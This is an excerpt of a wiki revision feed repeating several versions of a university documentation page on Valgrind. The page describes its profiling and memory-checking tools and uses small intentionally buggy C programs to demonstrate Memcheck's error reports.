== Why use Valgrind? ==&lt;br /&gt;
* Automatic detection of memory management and threading errors&lt;br /&gt;
* Performance improvement&lt;br /&gt;
* Debugging and profiling system for large, complex programs&lt;br /&gt;
* Software domains:&lt;br /&gt;
** Desktop applications&lt;br /&gt;
** Libraries&lt;br /&gt;
** Databases&lt;br /&gt;
** Games&lt;br /&gt;
** ...&lt;br /&gt;
*Works with programs written in any language&lt;br /&gt;
&lt;br /&gt;
== When to use Valgrind?==&lt;br /&gt;
* Automatic Testing&lt;br /&gt;
* After major code changes&lt;br /&gt;
* When errors occur&lt;br /&gt;
* When bugs are suspected&lt;br /&gt;
* Before a release&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11208</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11208"/>
		<updated>2023-01-28T13:44:13Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|500px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Here you can see the simulations of the I1, D1 and L2 caches in your CPU in a visualized, user-friendly format, to identify cache misses in your code faster.&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
* is a heap profiler&lt;br /&gt;
* performs detailed heap profiling by taking snapshots of a program&#039;s heap on a regular basis&lt;br /&gt;
* creates a graph showing heap usage over time, including information about which parts of the program are responsible for the most memory allocations&lt;br /&gt;
* the graph is supplemented by a text or HTML file containing more information to determine where most memory is allocated&lt;br /&gt;
* runs programs about 20 times slower than normal&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
* is a thread debugger that detects data races (race conditions vulnerability) in multithreaded programs&lt;br /&gt;
* searches for memory locations that are accessed by more than one (POSIX p-)thread but for which no consistently used (pthread_mutex_) lock can be found&lt;br /&gt;
* is useful for any program that uses pthreads&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
* for detecting errors in multithreaded C and C++ programs&lt;br /&gt;
* works for any program that uses the POSIX threading primitives &lt;br /&gt;
* uses threading concepts based on the POSIX threading primitives&lt;br /&gt;
* requires less memory than Helgrind to perform its analysis for most programs&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
* is a tool to examine how programs use their heap allocations&lt;br /&gt;
* keeps track of the allocated blocks and examines each memory access to find out which block it refers to&lt;br /&gt;
&lt;br /&gt;
== Why use Valgrind? ==&lt;br /&gt;
* Automatic detection of memory management and threading errors&lt;br /&gt;
* Performance improvement&lt;br /&gt;
* Debugging and profiling system for large, complex programs&lt;br /&gt;
* Software domains:&lt;br /&gt;
** Desktop applications&lt;br /&gt;
** Libraries&lt;br /&gt;
** Databases&lt;br /&gt;
** Games&lt;br /&gt;
** ...&lt;br /&gt;
*Works with programs written in any language&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11207</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11207"/>
		<updated>2023-01-28T13:42:39Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* DHAT */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|500px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Here you can see the simulations of the I1, D1 and L2 caches in your CPU in a visualized, user-friendly format, to identify cache misses in your code faster.&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
* is a heap profiler&lt;br /&gt;
* performs detailed heap profiling by taking snapshots of a program&#039;s heap on a regular basis&lt;br /&gt;
* creates a graph showing heap usage over time, including information about which parts of the program are responsible for the most memory allocations&lt;br /&gt;
* the graph is supplemented by a text or HTML file containing more information to determine where most memory is allocated&lt;br /&gt;
* runs programs about 20 times slower than normal&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
* is a thread debugger that detects data races (race conditions vulnerability) in multithreaded programs&lt;br /&gt;
* searches for memory locations that are accessed by more than one (POSIX p-)thread but for which no consistently used (pthread_mutex_) lock can be found&lt;br /&gt;
* is useful for any program that uses pthreads&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
* for detecting errors in multithreaded C and C++ programs&lt;br /&gt;
* works for any program that uses the POSIX threading primitives &lt;br /&gt;
* uses threading concepts based on the POSIX threading primitives&lt;br /&gt;
* requires less memory than Helgrind to perform its analysis for most programs&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
* is a tool to examine how programs use their heap allocations&lt;br /&gt;
* keeps track of the allocated blocks and examines each memory access to find out which block it refers to&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11206</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11206"/>
		<updated>2023-01-28T13:42:14Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* DRD */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
** inaccessible areas of the stack&lt;br /&gt;
* Uses uninitialized values in dangerous ways.&lt;br /&gt;
* Leaks memory.&lt;br /&gt;
* Does bad frees of heap blocks (double frees, mismatched frees).&lt;br /&gt;
* Passes overlapping source and destination memory blocks to memcpy() and related functions.&lt;br /&gt;
&lt;br /&gt;
Memcheck reports these errors as soon as they occur, giving the source line number at which it occurred, and also a stack trace of the functions called to reach that line. Memcheck tracks addressability at the byte-level, and initialization of values at the bit-level. As a result, it can detect the use of single uninitialized bits, and does not report spurious errors on bitfield operations. Memcheck runs programs about 10--30x slower than normal.&lt;br /&gt;
&lt;br /&gt;
Following examples have been testen on a Kali Linux 22.04 system.&lt;br /&gt;
&lt;br /&gt;
==== Memory Leak ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(100); &lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example1.c -o example1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind ajsckiuz.jpg|thumb|none|500px|Memory leak]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Invalid Pointer ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        char *x = malloc(10);&lt;br /&gt;
        x[10] = &#039;a&#039;;&lt;br /&gt;
        return 0;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Compile via:&lt;br /&gt;
&lt;br /&gt;
    sudo gcc -g example2.c -o example2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:1 valgrind hmjsjz.jpg|thumb|none|500px|Invalid pointer]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Uninitialized Variable ====&lt;br /&gt;
&lt;br /&gt;
    #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
    int fct(int x)&lt;br /&gt;
    {&lt;br /&gt;
        if(x &amp;lt; 10)&lt;br /&gt;
        {&lt;br /&gt;
            printf(&amp;quot;x is less than 10\n&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    int main()&lt;br /&gt;
    {&lt;br /&gt;
        int y;&lt;br /&gt;
        fct(y);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind srzjsgb.jpg|thumb|none|500px|Uninitialized variable]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cachegrind ===&lt;br /&gt;
&lt;br /&gt;
* a cache profiler&lt;br /&gt;
* performs a detailed simulation of the I1, D1 and L2 caches in your CPU and so can accurately pinpoint the sources of cache misses in your code&lt;br /&gt;
* it identifies the number of cache misses, memory references and instructions executed for each line of source code, with per-function, per-module and whole-program summaries&lt;br /&gt;
* useful with programs written in any language &lt;br /&gt;
* runs programs about 20--100x slower than normal.&lt;br /&gt;
&lt;br /&gt;
=== Callgrind ===&lt;br /&gt;
* An extension to Cachegrind&lt;br /&gt;
* offers all the information that Cachegrind offers, plus additional information about Callgraphs&lt;br /&gt;
* Separately available is a visualization tool KCachegrind&lt;br /&gt;
** gives a better overview of the data collected by Callgrind&lt;br /&gt;
** it can also be used to visualize the output of Cachegrind&lt;br /&gt;
** simply run Callgrind/Cachegrind to generate the files which you then feed to KCachegrind&lt;br /&gt;
&lt;br /&gt;
To install KCachegrind, simply run:&lt;br /&gt;
&lt;br /&gt;
    sudo apt-get install kcachegrind&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:5 valgrind gfugkgi.jpg|thumb|none|500px|Run Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The files that are generated via Cachegrind/Callgrind look like this:&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:3 valgrind drcfgvjhuiy.jpg|thumb|none|500px|Files generated by Cachegrind/Callgrind]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
The interface in KCachegrind allows to inspect&lt;br /&gt;
&amp;lt;div&amp;gt;&amp;lt;ul&amp;gt; &lt;br /&gt;
&amp;lt;li style=&amp;quot;display: inline-block;&amp;quot;&amp;gt; [[File:4 valgrind jkdcvhj.jpg|thumb|none|800px|KCachegrind User Interface]] &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
Here you can see the simulations of the I1, D1 and L2 caches in your CPU in a visualized, user-friendly format, to identify cache misses in your code faster.&lt;br /&gt;
&lt;br /&gt;
=== Massif ===&lt;br /&gt;
* is a heap profiler&lt;br /&gt;
* performs detailed heap profiling by taking snapshots of a program&#039;s heap on a regular basis&lt;br /&gt;
* creates a graph showing heap usage over time, including information about which parts of the program are responsible for the most memory allocations&lt;br /&gt;
* the graph is supplemented by a text or HTML file containing more information to determine where most memory is allocated&lt;br /&gt;
* runs programs about 20 times slower than normal&lt;br /&gt;
&lt;br /&gt;
=== Helgrind ===&lt;br /&gt;
* is a thread debugger that detects data races (race conditions vulnerability) in multithreaded programs&lt;br /&gt;
* searches for memory locations that are accessed by more than one (POSIX p-)thread but for which no consistently used (pthread_mutex_) lock can be found&lt;br /&gt;
* is useful for any program that uses pthreads&lt;br /&gt;
&lt;br /&gt;
=== DRD ===&lt;br /&gt;
* for detecting errors in multithreaded C and C++ programs&lt;br /&gt;
* works for any program that uses the POSIX threading primitives &lt;br /&gt;
* uses threading concepts based on the POSIX threading primitives&lt;br /&gt;
* requires less memory than Helgrind to perform its analysis for most programs&lt;br /&gt;
&lt;br /&gt;
=== DHAT ===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://valgrind.org/&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>VHorvathova</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11205</id>
		<title>Valgrind</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Valgrind&amp;diff=11205"/>
		<updated>2023-01-28T13:41:40Z</updated>

		<summary type="html">&lt;p&gt;VHorvathova: /* Helgrind */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== What is Valgrind? ==&lt;br /&gt;
&lt;br /&gt;
Valgrind is an instrumentation framework for building dynamic analysis tools. There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. You can also use Valgrind to build new tools. &lt;br /&gt;
&lt;br /&gt;
Valgrind executes a program 20-30 times slower and performs dynamic code analysis.&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
The Valgrind distribution currently includes seven production-quality tools:&lt;br /&gt;
* Memcheck&lt;br /&gt;
* Cachegrind&lt;br /&gt;
* Callgrind&lt;br /&gt;
* Massif&lt;br /&gt;
* Helgrind&lt;br /&gt;
* DRD&lt;br /&gt;
* DHAT&lt;br /&gt;
&lt;br /&gt;
=== Memcheck ===&lt;br /&gt;
Memcheck detects memory-management problems and is aimed primarily at C and C++ programs. When a program is run under Memcheck&#039;s supervision, all reads and writes of memory are checked, and calls to malloc/new/free/delete are intercepted. As a result, Memcheck can detect if your program:&lt;br /&gt;
&lt;br /&gt;
* Accesses memory it shouldn&#039;t &lt;br /&gt;
** areas not yet allocated&lt;br /&gt;
** areas that have been freed&lt;br /&gt;
** areas past the end of heap blocks&lt;br /&gt;
